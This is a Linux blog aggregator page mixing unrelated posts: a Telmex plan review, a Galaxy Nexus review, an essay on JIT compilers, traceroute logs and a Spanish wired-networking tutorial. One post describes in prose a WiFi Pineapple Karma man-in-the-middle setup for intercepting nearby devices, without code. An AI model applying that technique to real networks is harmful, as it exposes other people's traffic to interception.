Planeta Linux México

Reboot Trailer from Joe Kawasaki

Me la paso Jcarlos, muy buen trabajo espero que ya suban o salga la movie :).

Como he tenido un poco de tiempo para ver televisión y hasta en la calle están los anuncios de las cableras que ahora te añaden “llamadas a celular” gratis en tus paquetes todo incluido, al pagar mi teléfono se me ocurrió darle un vistazo a que de nuevo pudiera haber en la página de telmex.

Y en efecto han modificado bastante los paquetes, antes sólo en los paquete acerques y todo México sin limites es decir los paquetes “altos” se incluía el soporte+ y profesor24 horas, en este momento según la página están incluidos “gratis” en todos los paquetes, también hay opciones para añadir a tu paquete bloques de 100 llamadas locales o 100 minutos de telefonía celular (Cablevisión incluye 50minutos gratis en su paquete mediano) y ademas unos “módulos” de velocidad extra para el paqueteconectes (hasta 3MB) + 2MB, en el de 5MB + 5MB y en el de 10 + 10MB, en su caso por $99, $199 y $199… sería cosa de hacer cuentas pero creo que apenas y con los módulos se van con las cableras.

Sin embargo una cosa que me interesa usar por lo que menciona que ofrece Telmex, es el profesor 24 horas.

Pues bueno intente una vez más activar el profesor 24 horas con lo que obtuve lo siguiente:

Lo de los módulos de velocidad extra se ve interesante, pero claro que es contraproducente con la decisión de bajar de paquete para pagar menos, habrá que echarle números , si aún estoy a 1MB aumentarle 2 me dejaría en 3MB que se supone es lo que viene de base… en cambio teniendo 3MB + 2MB eso si podría ser atractivo.

Currently I'm playing with a Wifi Pineapple. I read the documentation by hak5, but is not very large and the quick reference actually is very quick.

So‌ I really fascinated by the idea of the Pineapple, but is very frustrating that the most part of attacks are very experimental, and not like the Pwnie Express products. But well, that's fine, is interesting trying and trying aaaaand trying again.

Currently I did the most basic attack, and maybe the mainly reason of the Pineapple, a Man In The Middle attack using the Karma module. Karma module is a option to associate any wireless connection to the Pineapple, it works beacause the devices probe periodically connections to routers ask for the well known networks, so Pineapple says “Yes, I'm” (Jasager) and accept this negotiations‌ and then, in theory, the idea is that the device will connect to the Pineapple and the Pineapple routes the traffic to Internet; so for the device the connection is clean, like the MITM attack by Trapper or Cain.

Well, for do that start the Pineapple, enter to the Web interface and enable de Karma module, and that's all! :D

But What happens with the Internet connection?.. ok, there is a script to do it on Linux, and a complicated configuration for Windows. I don't have Linux installed on my computer, and is very possible that the script doesn't work on OS X, so I'm going to configure the tethering on Windows, but.. tomorrow :P

By the way.. jejeje I saw a video on YouTube where the guy who is explaining the Pineapple work says: “Ok, exist a way to configure the tethearing on Windows, but come on, we'll use Linux once beacuse is more coolâ€â€Ś after I read the method to configure Windows I think that these guy is lying and he configure the Pineapple con Linux beacuse is more easy use the script provided by Hak5 than do a lot of steaps on Windows jejeje :P. Apart from that I think that is a good point to start, so, if you want to check it, you can do it here:

Mi televisión actual una Sony de CRT de 31″ pesa 54/55kilogramos, costo bastante trabajo ponerla en la mesa donde paso un buen rato y no recuerdo como fue que la pusimos en el mueble en el que ha pasado la mayor parte del su vida útil… hace poco compre un tinaco de 1100 litros, que por supuesto no cabe por la puerta… el mismo pesa 30kg y según una vida útil de 45años… la Sony en otro tiempo tenia una vida útil de unos 25 años ya va casi a la mitad de eso, si la cambiara ahora entiendo que una del mismo tamaño pesa 5 o menos kilogramos…

In my lifetime.

I was lucky to get an online coupon to get the Galaxy Nexus phone on launch in Mexico (Telcel carrier) last thursday.

The software and usability

I wanted to give the phone some use before writing about it so I waited some weeks to post anything about it. I think it’s a very fast and elegant phone and the new operating system is key to its success. The good news is that the Galaxy Nexus was not altered by the carrier, so it has no crapware on it. It’s 100% Google’s Android Ice Cream Sandwich.

Having used for months the Samsung Galaxy Tab with Honeycomb, moving to ICS was not a big deal to me, but I can imagine that it would be a big leap for Gingerbread users. The interface is very different and they way you interact with apps has also changed. Since there are no “physical” buttons, or touchable buttons like in the Galaxy S and S2, all buttons are on screen. The menu button is gone, so for apps that use it you need to look for a button that has three vertical dots. That can be very confusing at first, but having used the Honeycomb’s Gtalk and Gmail apps, it was easy to figure that out immediately.

One friend once complained about Android taking too long to open the contacts list. On the Galaxy S it took a couple seconds to load. I don’t know if this is Samsung specific or all 2.x versions had this lag. On ICS there is no lag when opening the contacts list, it has a very fast scroll and it has a very nice and clean design.

For the security aware people, ICS now comes with an option to encrypt your phone, a feature that was present in Honeycomb as well for the tablets (but I hadn’t tried until now). The bad news about it is that once you decide to encrypt your phone, you can no longer use swipe, pattern or face unlock screens. Only PIN and passphrase unlock screens are available. I didn’t expect that but I don’t mind, I “ported” my pattern to a PIN and use that. I can’t imagine typing a passphrase everytime you want to unlock your phone.

The hardware and design

On the hardware design part, I like the fact that the headphone jack is at the bottom and not at the top like in the Galaxy S, this makes it more comfortable and a more natural movement when taking it out of your pocket without having to flip it around. I sometimes miss the front button that you could tap quickly to turn on the screen.

My surprise though, was that when I read the Galaxy Nexus official website, it says it has 32Gb of internal storage and no indication of any alternative options. The version I got, has only 13Gb and since it has no SD card slot to expand your storage, this can get quite limited.

The Galaxy Nexus has a multicolor notification LED that is very practical to see what type of notification you haven’t seen. The downside is that the LED blinks very slowly, so you have to stare at your phone for a couple seconds to see if there’s anything blinking. On the Galaxy S I used BLN notification and when I had a notification, the LEDS were always on. If only I could make the Galaxy Nexus LED blink faster it would be more practical.

Compared to the Galaxy S2, the phone’s camera is “smaller” on the Galaxy Nexus, and by that I mean that it has a 5 megapixel camera vs the Galaxy S2′s 8 megapixel camera. The good news is that it has a zero delay shutter speed so as soon as you hit the button, the picture is taken. Long shutter lags was one of my biggest rants on previous phone cameras, so for me this is a must have on every phone from now on.

Battery lasts longer than my Galaxy S, for which I’ve had to buy an additional battery because it drains so quickly. Still you have to take the normal battery saving considerations of turning off things that you don’t need, but it still lasts longer on idle. It’s a bigger battery as well, so it might be just that.

Conclusion

Having used the phone for a couple weeks now, I noticed that for me there was little difference in speed and usability to use the Galaxy Tab with Honeycomb or the Galaxy Nexus with ICS. But I could feel a difference when using the Galaxy S with Gingerbread. I went on a weekend trip taking only my phone and I didn’t miss my Tab or my laptop to do my causal browsing and information consuming “needs”. But I couldn’t say the same if I just had the Gingerbread phone, the larger screen and the commodities of ICS in the Galaxy Nexus makes it a very fast and comfortable mobile device. ICS is a very well built mobile operating system that is not designed as only a smartphone like the 2.x Android versions. I’m very happy with this new phone and I recommend it greatly.

Share/Bookmark

Related posts:

1. Thoughts & Tips on the Samsung Galaxy S from Telcel
2. Restore Samsung Galaxy S to Original ROM from Telcel Mexico
3. Samsung Galaxy Tab 10.1 review

$ echo "ibase=16; 28"|bc
40
$ echo "ibase=16; 13"|bc
19

$ echo "obase=16; 40"|bc
28
$ echo "obase=16; 19"|bc
13

Herb Sutter discusses in his Reader QA: When Will Better JITs save Managed Code?:

In the meantime, short answer: C++ and managed languages make different fundamental tradeoffs that opt for either performance or productivity when they are in tension.

[...]

This is a 199x/200x meme that’s hard to kill – “just wait for the next generation of (JIT or static) compilers and then managed languages will be as efficient.” Yes, I fully expect C# and Java compilers to keep improving – both JIT and NGEN-like static compilers. But no, they won’t erase the efficiency difference with native code, for two reasons.

First, JIT compilation isn’t the main issue. The root cause is much more fundamental: Managed languages made deliberate design tradeoffs to optimize for programmer productivity even when that was fundamentally in tension with, and at the expense of, performance efficiency. (This is the opposite of C++, which has added a lot of productivity-oriented features like auto and lambdas in the latest standard, but never at the expense of performance efficiency.) In particular, managed languages chose to incur costs even for programs that don’t need or use a given feature; the major examples are assumption/reliance on always-on or default-on garbage collection, a virtual machine runtime, and metadata.

This is a pretty accurate statement on the difference of the mainstream VMs for managed languages (.NET, Java and Javascript).

Designers of managed languages have chosen the path of safety over performance for their designs. For example, accessing elements outside the boundaries of an array is an invalid operation that terminates program execution, as opposed to crashing or creating an exploitable security hole.

But I have an issue with these statements:

Second, even if JIT were the only big issue, a JIT can never be as good as a regular optimizing compiler because a JIT compiler is in the business of being fast, not in the business of generating optimal code. Yes, JITters can target the user’s actual hardware and theoretically take advantage of a specific instruction set and such, but at best that’s a theoretical advantage of NGEN approaches (specifically, installation-time compilation), not JIT, because a JIT has no time to take much advantage of that knowledge, or do much of anything besides translation and code gen.

In general the statement is correct when it comes to early Just-in-Time compilers and perhaps reflects Microsoft's .NET JIT compiler, but this does not apply to state of the art JIT compilers.

Compilers are tools that convert human readable text into machine code. The simplest ones perform straight forward translations from the human readable text into machine code, and typically go through or more of these phases:

Optimizing compilers introduce a series of steps that alter their inputs to ensure that the semantics described by the user are preserved while generating better code:

An optimization that could be performed on the high-level representation would transform the textual "5 * 4" in the source code into the constant 20. This is an easy optimization that can be done up-front. Simple dead code elimination based on constant folding like "if (1 == 2) { ... }" can also be trivially done at this level.

An optimization on the medium representation would analyze the use of variables and could merge subexpressions that are computed more than once, for example:

	int j = (a*b) + (a*b)

Would be transformed by the compiler into:

	int _tmp = a * b;
	int j = _tmp * _tmp;

A low-level optimization would alter a "MULTIPLY REGISTER-1 BY 2" instruction into "SHIFT REGISTER-1 ONE BIT TO THE LEFT".

JIT compilers for Java and .NET essentially break the compilation process in two. They serialize the data in the compiler pipeline and split the process in two. The first part of the process dumps the result into a .dll or .class files:

The second step loads this file and generates the native code. This is similar to purchasing frozen foods from the super market, you unwrap the pie, shove it in the oven and wait 15 minutes:

Saving the intermediate representation and shipping it off to a new system is not a new idea. The TenDRA C and C++ compilers did this. These compilers saved their intermediate representation into an architecture neutral format called ANDF, similar in spirit to .NET's Common Intermediate Language and Java's bytecode. TenDRA used to have an installer program which was essentially a compiler for the target architecture that turned ANDF into native code.

Essentially JIT compilers have the same information than a batch compiler has today. For a JIT compiler, the problem comes down to striking a balance between the quality of the generated code and the time it takes to generate the code.

JIT compilers tend to go for fast compile times over quality of the generated code. Mono allows users to configure this threshold by allowing users to pick the optimization level defaults and even lets them pick LLVM to perform the heavy duty optimizations on the code. Slow, but the generated code quality is the same code quality you get from LLVM with C.

Java HotSpot takes a fascinating approach: they do a quick compilation on the first pass, but if the VM detects that a piece of code is being used a lot, the VM recompiles the code with all the optimization turned on and then they hot-swap the code.

.NET has a precompiler called NGen, and Mono allows the --aot flag to be passed to perform the equivalent process that TenDRA's installer did. They precompile the code tuned for the current hardware architecture to avoid having the JIT compiler spend time at runtime translating .NET CIL code to native code.

In Mono's case, you can use the LLVM optimizing compiler as the backend for precompiling code, which produces great code. This is the same compiler that Apple now uses on Lion and as LLVM improves, Mono's generated code improves.

NGen has a few limitations in the quality of the code that it can produce. Unlike Mono, NGen acts merely as a pre-compiler and tests suggest that there are very limited extra optimizations applied. I believe NGen's limitations are caused by .NET's Code Access Security feature which Mono never implemented [1].

[1] Mono only supports the CoreCLR security system, but that is an opt-in feature that is not enabled for desktop/server/mobile use. A special set of assemblies are shipped to support this.

Optimizing JIT compilation for Managed Languages

Java, JavaScript and .NET have chosen a path of productivity and safety over raw performance.

This means that they provide automatic memory management, arrays bounds checking and resource tracking. Those are really the elements that affect the raw performance of these languages.

There are several areas in which managed runtimes can evolve to improve their performance. They wont ever match the performance of hand-written assembly language code, but here are some areas that managed runtimes can work on to improve performance:

>Alias analysis is simpler as arrays are accessed with array operations instead of pointer arithmetic.

Intent: with the introduction of LINQ in C#, developers can shift their attention from how a particular task is done to expressing the desired outcome of an operation. For example:

var biggerThan10 = new List;
for (int i = 0; i < array.Length; i++){
    if (array [i] > 10)
       biggerThan10.Add (i);
}	
	

Can be expressed now as:

var biggerThan10 = x.Where (x => x > 10).Select (x=>x);
	
// with LINQ syntax:
var biggerThan10 = from x in array where x > 10 select x;

Both managed compilers and JIT compilers can take advantage of the rich information that is preserved to turn the expressed intent into an optimized version of the code.

Extend VMs: Just like Javascript was recently extended to support strongly typed arrays to improve performance, both .NET and Java can be extended to allow fewer features to be supported at the expense of safety.

.NET could allow developers to run without the CAS sandbox and without AppDomains (like Mono does).

Both .NET and Java could offer "unsafe" sections that would allow performance critical code to not enforce arrays-bounds-optimization (at the expense of crashing or creating a security gap, this can be done today in Mono by using -O=unsafe).

.NET and Mono could provide allocation primitives that allocate objects on a particular heap or memory pool:

	var pool = MemoryPool.Allocate (1024*1024);

	// Allocate the TerrainMesh in the specified memory pool
	var p = new pool, TerrainMesh ();

	[...]
	
	// Release all objects from the pool, all references are
	// nulled out
	//
	Assert.NotEquals (p, null);
	pool.Destroy ();
	Assert.Equals (p, null);
	

Limiting Dynamic Features: Current JIT compilers for Java and .NET have to deal with the fact that code can be extended dynamically by either loading code at runtime or generating code dynamically.

HotSpot leverages its code recompiled to implement sophisticated techniques to perform devirtualization safely.

On iOS and other platforms it is not possible to generate code dynamically, so code generators could trivially devirtualize, inline certain operations and drop features from both their runtimes and the generated code.

More Intrinsics: An easy optimization that JIT engines can do is map common constructs into native features. For example, we recently inlined the use of ThreadLocal<T> variables. Many Math.* methods can be inlined, and we applied this technique to Mono.SIMD.

Via: Medical Billing And Coding

La segunda edición del FreeSecurity y fui invitado nuevamente, cada año se pone muy bueno este evento espero que siga así de “chingón”, esta edición del freesecurity tuve la oportunidad de conocer a grandes personalidades del mundo del Internet, también amigos que no veía desde hace años  y convivir un rato con ellos. También fui participe de una novela informática</sarcasmo>…

Para los que asistieron a mi conferencia hay les va un tip.

Entren a su facebook > ↓Inicio (le dan ala flechita) → Configuración de la cuenta → Seguridad;
Van y buscan secciones activas dentro de ese cuadro verán las conexiones que estan usando su facebook

Facebook

Ten más de lo que muestras; habla menos de lo que sabes.

Les quiero compartir este script de GreaseMonkey el cuals nos permite eliminar la publicidad insertada dentro de los videos de Youtube, (esos q espera 5 segundos para saltar la publicidad), ademas que tiene autobuffer y seleccion automatica de la calidad del video

YouTube Auto Buffer & Auto HD & Remove Ads

Una vez instalado el script, en youtube esta la opción de configuración, solo seleccionar Autoplay y quitar la opción de Mute mientras esta cargando el buffer, como sugerencia.

vicm3@avalon:~$ traceroute dallas1.linode.com
traceroute to dallas1.linode.com (69.164.200.100), 30 hops max, 60 byte packets
1  router.dns1 (192.168.1.254)  2.523 ms  2.563 ms  2.544 ms
2  dsl-servicio-l200.uninet.net.mx (200.38.193.226)  22.300 ms  32.128 ms  41.868 ms
3  bb-la-onewilshire-10-pos0-14-2-0.uninet.net.mx (201.125.224.178)  93.113 ms  102.948 ms  112.704 ms
4  ethernet11-2.ar6.LAX1.gblx.net (208.51.41.9)  152.122 ms  166.035 ms  172.547 ms
5  xe-1-0-2.bbr01.cs01.lax01.networklayer.com (206.165.75.230)  165.811 ms  175.665 ms  201.300 ms
6  ae19.bbr01.eq01.dal03.networklayer.com (173.192.18.140)  191.350 ms  197.044 ms  206.630 ms
7  po31.dsr02.dllstx3.networklayer.com (173.192.18.227)  218.514 ms  207.348 ms po31.dsr01.dllstx3.networklayer.com (173.192.18.225)  405.677 ms
8  te4-4.dsr02.dllstx2.networklayer.com (70.87.255.134)  210.645 ms * *
9  po2.car01.dllstx2.networklayer.com (70.87.254.78)  170.657 ms  135.555 ms  137.836 ms
10  5a.7.1243.static.theplanet.com (67.18.7.90)  147.407 ms  147.583 ms  153.102 ms
11  dallas1.linode.com (69.164.200.100)  147.681 ms  149.683 ms  160.101 ms
vicm3@avalon:~$
traceroute to tokyo1.linode.com (106.187.33.12), 30 hops max, 60 byte packets
1  router.dns1 (192.168.1.254)  3.767 ms  3.742 ms  3.770 ms
2  dsl-servicio-l200.uninet.net.mx (200.38.193.226)  20.577 ms  30.573 ms  40.242 ms
3  bb-la-onewilshire-10-pos0-5-0-0.uninet.net.mx (201.125.60.18)  91.445 ms  101.312 ms  111.138 ms
4  ethernet11-2.ar6.LAX1.gblx.net (208.51.41.9)  134.699 ms  150.609 ms  154.582 ms
5  64.208.27.114 (64.208.27.114)  164.298 ms  174.115 ms  184.150 ms
6  lajbb002.kddnet.ad.jp (59.128.2.161)  193.757 ms lajbb001.kddnet.ad.jp (59.128.2.157)  198.676 ms lajbb002.kddnet.ad.jp (59.128.2.161)  208.514 ms
7  otejbb203.kddnet.ad.jp (203.181.100.13)  316.525 ms  309.827 ms  311.772 ms
8  cm-fcu203.kddnet.ad.jp (124.215.194.180)  334.889 ms  284.547 ms cm-fcu203.kddnet.ad.jp (124.215.194.164)  271.695 ms
9  124.215.199.122 (124.215.199.122)  277.657 ms  257.010 ms  259.685 ms
10  tokyo1.linode.com (106.187.33.12)  265.871 ms  174.851 ms  176.438 ms

Quien dijera que estamos más cerca de Tokyo, al menos desde Telmex/Infinitum que de Dallas… como dato adicional al menos para el DF, la mejor conectividad parece ser con fremont1.linode.com.

Por costo/beneficio algún tiempo atrás moví mis servicios a Dreamhost ya que el proyecto que lo justificaba perdió ímpetu y después de mucho pensarlo nos cambiamos de Jaws a WordPress para nuestros blogs.

Ahora esperemos esta nueva aventura con Linode demuestre que Linux y Xen son mucho mejor que Linux + Cpanel, especialmente remplazando el panel con administración humana.

Nota: Un amigo me comentó que debería de haber una manera más fácil de instalar todas las fuentes de un solo golpe. No se si existe o no el método en Gnome 3 / Gnome Shell. Ojalá alguien pueda decirnos.

Si mas ni más, aquí el screencast.

Este es un screencast que tenía ganas de grabar desde hace ya mucho tiempo. WindowMaker es el window manager que utilizo desde ya hace mucho tiempo. Aquí se los dejo.

En el año 2009 percibí la necesidad [1] que muchos usuarios del foro de Kubuntu-es.org tenían respecto a la configuración de la red alámbrica en Kubuntu. Dicha necesidad tenía relación con conceptos de redes y el uso de la terminal ya que muchos se quejaban en ese entonces de que la interfaz gráfica (KNetworkManager) no funcionaba correctamente. Por lo tanto dediqué un tiempo para crear un artículo en la sección Wiki de dicho foro [2]; 6 meses más tarde publiqué el mismo artículo en la sección Wiki de esdebian.org [3], en donde el artículo recibió aún más retroalimentación que ayudó a mejorarlo.

Ya era tiempo de traer el artículo a mi blog, el cual espero sea de utilidad. A continuación el artículo.

ÍNDICE

1. Introducción
2. Justificación
3. Requisitos previos
4. Conceptos básicos
5. Configurar la conexión
6. Reiniciar el demonio de red
7. Probar la configuración
8. Lecturas recomendadas
9. Notas

INTRODUCCIÓN

Como se indica en el título, este documento explica cómo configurar la conexión alámbrica desde la terminal, es decir la conexión que usa tarjeta de red Ethernet, cable UTP y conectores RJ45. Se mostrará cómo configurar dicha conexión sin usar ningún tipo de interfaz gráfica (frontend), sino únicamente comandos.
 
Las redes inalámbricas tienen algunas características y configuraciones distintas, que varían de equipo a equipo, como el nombre lógico de la tarjeta de red, el tipo de tecnología que soporta la tarjeta, el tipo de criptografía usada para establecer la conexión, por mencionar algunas. Por lo anterior la configuración de redes inalámbricas no se trata en este documento.

JUSTIFICACIÓN

En las distribuciones GNU/Linux como Debian, existen varias aplicaciones gráficas (frontends) que permiten configurar la conexión a redes. Dichos frontends existen dependiendo el entorno gráfico que se use, como KDE, GNOME, XFCE, etc. Sin embargo ha llegado a suceder que los frontends no funcionan de manera correcta aún cuando la información introducida sea la adecuada, en apariencia, o quizás no gestionan adecuamente el inicio y la detención de los demonios de red.
 
Una opción para salvaguardar el problema es una aplicación que se ha vuelto popular llamada Wicd, la cual es considerada como fácil de usar y versátil para administrar redes alámbricas e inalámbricas. Debido a su creciente popularidad las versiones más recientes de algunas distribuciones permiten instalar Wicd desde repositorios preestablecidos. De no ser así, puede descargarse e instalarse desde su página oficial.
 
Sin embargo, en algunas distribuciones Wicd no está en los repositorios aún, por lo tanto es necesario agregar el repositorio al archivo /etc/apt/sources.list, agregar la llave, actualizar la lista de paquetes, instalar wicd, aceptar la desinstalación del gestor de redes que actualmente se tenga (por ej. network-manager, network-manager-kde, network-manager-gnome, etc.), y finalmente configurar la red mediante wicd. El problema es que esto no sería posible si está hablando de una máquina que no tiene conexión a red.
 
Otro problema es que a veces los equipos, por la razón que fuese, se quedan sin entorno gráfico y los usuarios no pueden descargar paquetes ni actualizar el sistema si la conexión a la red no ha sido correctamente configurada. Si no saben cómo hacerlo manualmente entonces se ven obligados a, por ejemplo, usar un LiveCD para reiniciar, configurar y conectarse a Internet, descargar paquetes y guardarlos en el disco duro, reiniciar nuevamente con el sistema original, instalar los paquetes previamente descargados, y arreglar el problema gráfico. El usuario tendría que repetir el proceso anterior si al final de cuentas requiere de dependencias que no se descargaron. Otra opción sería usar un equipo distinto que sí tuviera conexión a Internet.
 
Es también posible que en algún momento dado el usuario se encuentre en un esquema completamente carente de entorno gráfico, como en el caso de los servidores, en los que generalmente no se instala un entorno gráfico sino que se administran a base de comandos. El saber cómo configurar la red alámbrica es un requisito indispensable para la administración de dichos servidores.
 
Es por ello que este documento explica de manera general cómo hacer una configuración mínima que permita conectarse correctamente a la red de área local, para alcanzar el enrutador y lograr la conexión a Internet, usando comandos únicamente. El editor de texto que se usa en este documento es nano, pero puede usarse otro si se prefiere y si se conocen los comandos para insertar cambios, realizar cambios, guardar los cambios y salir del editor.

REQUISITOS PREVIOS

Es de suponer que el usuario ya tiene una instalación física trabajando correctamente, es decir, que el sistema ha detectado la tarjeta de red y funciona con su controlador, que los cables y sus conectores están correctamente ensamblados, que se conoce la información para especificar la dirección IP para poder conectarse al enrutador, y que se conocen las direcciones IP de los servidores DNS proporcionados por el ISP (Internet Service Provider).

CONCEPTOS BÁSICOS

Los siguientes son conceptos básicos explicados de manera sencilla y se recomienda encarecidamente su lectura. El análisis de los mismos ayudará a tener una mejor comprensión de las redes de computadoras. Adicionalmente, si se requiere información técnica y detallada, al final de este documento hay una serie de Lecturas Recomendadas. O bien puede omitirse esta sección e ir directamente a Configurar la conexión .
 

• Nombre lógico de la tarjeta de red
• Dirección IP
• Protocolo de Configuración de Equipos Dinámicos (DHCP)
• Nombre de equipo
• Sistema de Nombres de Dominio
• Intranet
• Difusión
• Máscara de subred
• Puerta de enlace
• Dominio
• Internet

 
Nombre lógico de la tarjeta de red.- La tarjeta de red alámbrica es el dispositivo que permitirá enviar datos a través del cable de red, más allá de los límites físicos de la computadora u otro dispositivo. Una computadora puede tener varias tarjetas de red alámbricas. Los sistemas Linux asignan nombres lógicos a las tarjetas de red alámbricas. El nombre lógico se conforma de la abreviación eth, que significa Ethernet, y de un número consecutivo siendo el primero el cero:

eth0
eth1
eth2
eth3
[...]
 
Dirección IP.- Cada tarjeta de red, o cada nombre lógico de la tarjeta de red debe tener una identificación única, que la haga irrepetible en la red, de tal manera que no exista confusión al momento de transmitir datos con otros equipos de la red. Los equipos que usan el conjunto de protocolos TCP/IP se identifican mediante una serie de números que de forma conjunta reciben el nombre de dirección IP (Internet Protocol address, IP address). A continuación se muestran cuatro ejemplos de direcciones IP:

10.0.2.15
172.16.111.196
192.168.0.1
200.128.199.6
 
Se observa que cada dirección IP tiene 4 grupos de números separados por puntos, y cada grupo recibe el nombre de octeto, así que se dice que una dirección IP tiene 4 octetos. Cada octeto puede tener un valor entre 0 y 255. Algunas direcciones IP son especiales y por lo tanto en algunas ocasiones no se pueden usar para asignarlas a dispositivos, por ejemplo:

0.0.0.0
255.255.255.255
127.0.0.1
 
En una red sencilla que requiera una configuración típica (por ejemplo en un domicilio particular con 2 o 3 equipos) generalmente no se asignan direcciones IP que terminen con 0 o con 255 ya que estos 2 números indican los límites, por decirlo así, de la red o del rango de la red, por ejemplo:

10.0.0.255
192.168.0.0
172.16.109.255
 
Si dichas terminaciones (0 y 255) se usaran sin haberse diseñado lo que se conoce como subnetting -lo cual conlleva modificar la máscara de subred (netmask)- entonces se crearían conflictos que impedirían el correcto funcionamiento de los servicios de red.
 
Protocolo de Configuración de Equipos Dinámicos (DHCP).- Todo equipo en red debe tener su propia dirección IP.  A veces los equipos son estáticos, es decir que no se mueven de su lugar porque son, por ejemplo, servidores, impresoras, o equipos de escritorio. Así que las direcciones IP de los equipos se configuran manualmente. Se dice que tendrán una dirección IP estática porque los equipos no se moverán de su lugar para trasladarse fuera del edificio.
 
Otras veces los equipos son portátiles y entran y salen del edificio, así que la tarea de ir a su lugar y configurarles direcciones IP cada vez que ingresen a la red se vuelve repetitiva y tediosa. Así que la tarea se le encarga a un equipo especial en la red que estará al pendiente, trabajando automáticamente, esperando que otros equipos se conecten para asignarles direcciones IP y otras configuraciones. Dicho equipo especial se llama servidor DHCP (Dynamic Host Configuration Protocol) y asignará direcciones IP dinámicas.
 
La mayoría de los enrutadores que se usan actualmente en una casa u oficina pequeña incluyen un servidor DHCP para que los equipos puedan conectarse a la red de manera automática. Los equipos se ven beneficiados de esta característica, sin importar sin son portátiles o de escritorio.
 
Nombre de equipo.- Cuando las personas nos comunicamos no decimos -"llamé al +01+801+1234567 y le pregunté como está", sino decimos -"llamé a mi mamá y le pregunté cómo está"-. De la misma manera, para facilitar la comunicación en una red se usa un nombre de equipo (hostname) ya que el nombre es más fácil de recordar que la dirección IP, y podemos decir -"acabo de guardar un documento en el servidor FACTURAS",- en vez de decir -"acabo de guardar un documento en el servidor 172.16.104.163"- y tratar de recordar en ese momento a qué servidor corresponde esa dirección IP.
 
Sistema de Nombres de Dominio.- Algunos teléfonos permiten reconocer la voz del usuario haciendo posible que uno diga en voz alta -"mamá celular"- ó -"mamá casa"- y el aparato automáticamente marca el número del teléfono de la mamá. La voz entra por el micrófono, se compara con los contactos del directorio telefónico, se obtiene el número y automáticamente se marca. De manera similar, en las redes de computadoras hay equipos que cumplen con la misma función, de tal manera que cuando un usuario envía un documento a la impresora llamada LASER_COLOR, la cual está en la red, la computadora del usuario primero envía la palabra LASER_COLOR a un equipo servidor que maneja un sistema llamado Sistema de Nombres de Dominio (Domain Name System, DNS), y este servidor (llamado DNS server o nameserver) tiene una lista de los nombres de los equipos de la red y sus correspondientes direcciones IP. Así que el servidor devuelve la dirección IP a la computadora del usuario y es hasta entonces cuando la computadora envía el documento directamente a la impresora porque ya tiene su dirección IP.
 
Intranet.- Es una red interna o privada (casa, oficina, escuela, etc.) que usa la misma tecnología sobre la cual se basa la Internet. Las direcciones IP de una Intranet son privadas, mientras que las direcciones IP de Internet son públicas.
 
Difusión.- En los centros comerciales es común escuchar por los altavoces -"al propietario del vehículo placas ABC-123, se le solicita moverlo porque está estorbando"-. Todos en el centro comercial escuchamos el anuncio, pero sólamente el propietario del vehículo responderá al llamado. De manera similar un equipo en la red que se quiera comunicar con otro anunciará un mensaje que será "escuchado" por todos los demás dispositivos, pero sólo uno de ellos responderá al llamado. A esto se le llama difusión (broadcast). El rango de difusión (broadcast) se configura mediante otra dirección IP que -dependiendo del administrador de la red- puede ser 255.255.255.255, 255.255.255.0, ó xxx.xxx.xxx.255 (en donde las xxx representan la dirección de red a la que pertenece el equipo), lo que significa que los anuncios se difundirán a todos los equipos del segmento de red.
 
Máscara de subred.- Imagínese una red de casa que usa el rango de direcciones IP 192.168.1.0. Imagínese que la red tiene un enrutador que conecta a todos a Internet:
 
192.168.1.21     <--- equipo-cocina
192.168.1.22     <--- equipo-recamara
192.168.1.23     <--- equipo-sala
192.168.1.254   <--- enrutador, también tiene una dirección IP pública, por ejemplo 189.189.20.50
 
La máscara de subred (netmask) es una dirección IP especial que permitirá que haya tráfico únicamente en la red interna. Todos esos equipos tendrán una máscara de subred 255.255.255.0 . El número 255 funciona como una "máscara", ocultando los primeros 3 octetos de las direcciones IP así: xxx.xxx.xxx.0 , de tal manera que cuando un equipo desea comunicarse con otro, sólo estará usando el último octeto.
 
Por ejemplo, si desde el equipo-sala se envían 4 paquetes de ping a la dirección IP del equipo-cocina:
 
usuario@equipo-sala:~ $ ping 192.168.1.21 -c 4
64 bytes from equipo-cocina (192.168.1.21): icmp_seq=1 ttl=127 time=0.789 ms
64 bytes from equipo-cocina (192.168.1.21): icmp_seq=2 ttl=127 time=0.614 ms
64 bytes from equipo-cocina (192.168.1.21): icmp_seq=3 ttl=127 time=0.324 ms
64 bytes from equipo-cocina (192.168.1.21): icmp_seq=1 ttl=127 time=0.789 ms
 
--- equipo-cocina ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2999ms
rtt min/avg/max/mdev = 0.321/1.275/4.126/1.646 ms
 
Los paquetes se han dirigido a la dirección IP xxx.xxx.xxx.21 ya que la máscara de subred 255.255.255.0 ha ocultado los 3 primeros octetos. Los 3 primeros octetos del equipo-cocina (192.168.1.xxx) son exactamente iguales a los del equipo-sala (192.168.1.xxx) y por ello fueron "enmascarados".
 
Ahora bien, cuando se envían paquetes de ping hacia otra dirección IP que es de un rango completamente distinto, por ejemplo hacia la dirección IP 91.189.94.9:
 
usuario@equipo-sala:~ $ ping 91.189.94.9 -c 4
PING 91.189.94.9 (91.189.94.9) 56(84) bytes of data.
64 bytes from 91.189.94.9: icmp_seq=1 ttl=45 time=261 ms
64 bytes from 91.189.94.9: icmp_seq=2 ttl=45 time=264 ms
64 bytes from 91.189.94.9: icmp_seq=3 ttl=45 time=258 ms
64 bytes from 91.189.94.9: icmp_seq=4 ttl=45 time=271 ms
 
--- 91.189.94.9 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3000ms
rtt min/avg/max/mdev = 258.658/264.071/271.531/4.851 ms
 
Lo que ha sucedido es que los paquetes fueron enviados directamente al enrutador y de ahí hacia Internet, porque la máscara de subred 255.255.255.0 ha ayudado a determinar de inmediato que los primeros 3 octetos (91.189.94.xxx) de la dirección IP destino son distintos a los primeros 3 octetos (192.168.1.xxx) de la dirección IP del equipo remitente, y por ello se deduce que el equipo destino no está en la red de la casa, así que se enviaron fuera de la red a través del enrutador, que funciona como una puerta de enlace entra la red interna y la red externa.
 
Puerta de enlace.- Los equipos que están en una Intranet no pueden acceder a la Internet de manera directa, ya que sus direcciones IP son privadas. Deben hacerlo a través de algún dispositivo que tenga 2 tarjetas de red con 2 direcciones IP: una pública y una privada. Así que el dispositivo sirve de intermediario entre la Intranet y la Internet. El dispositivo es un enrutador (router), porque enruta las conexiones desde adentro hacia afuera y viceversa, y recibe el nombre de puerta de enlace (gateway).
 
